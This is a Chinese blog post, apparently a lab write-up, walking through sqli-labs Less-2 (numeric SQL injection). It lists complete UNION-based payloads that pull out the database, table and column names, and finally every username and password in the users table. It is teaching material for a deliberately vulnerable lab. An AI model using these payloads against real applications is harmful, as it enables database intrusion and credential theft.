在上一篇《我的sqli-labs实战笔记(一):攻克Less-1,理解字符型SQL注入》中,我们学习了如何判断并利用单引号闭合的注入。今天,我们进入 Less-2: 数字型注。这一关将简化“闭合”步骤,是理解注入核心原理——操纵原有SQL逻辑——的绝佳练习。
1.判断注入类型
判断闭合方式:



并且?id=2-1也可以查询

所以这个题是数字型注入
初步判断WHERE处是id=$id;
数字型注入与字符型最大的不同在于,参数直接嵌入SQL语句,无需用引号包裹。因此,在探测时我们无需关心闭合引号,可以直接注入SQL指令。
2.利用ORDER BY判断字段数:


得出这个表字段数是3;
3.利用联合注入爆数据库名:

要确保id=-1,查询不到结果,防止被覆盖
得出数据库名是security
4.爆表名:
?id=-1 UNION SELECT 1,group_concat(table_name),3 FROM information_schema.tables WHERE table_schema='security' –+

根据查询的表的内容,可以判断出表名为users;
5.爆字段名:
/?id=-1 UNION SELECT 1,group_concat(column_name),3 FROM information_schema.columns WHERE table_schema='security' –+

这样爆出了security数据库的所有字段,显然太多了,应该进一步筛选:
/?id=-1 UNION SELECT 1,group_concat(column_name),3 FROM information_schema.columns WHERE table_schema='security' AND table_name='users'–+

6.爆所有用户名和密码:
/?id=-1 UNION SELECT 1,group_concat(username,0x3a,password),3 FROM users –+

到这里less_2就完成了
与第一关相比,只是注入类型有所区别,判断出类型之后的操作步骤和第一关的基本相同
相关知识点都在第一关有详细解释如果不懂也可以回顾一下
第一关的链接:
https://blog.csdn.net/2502_93741325/article/details/157519371





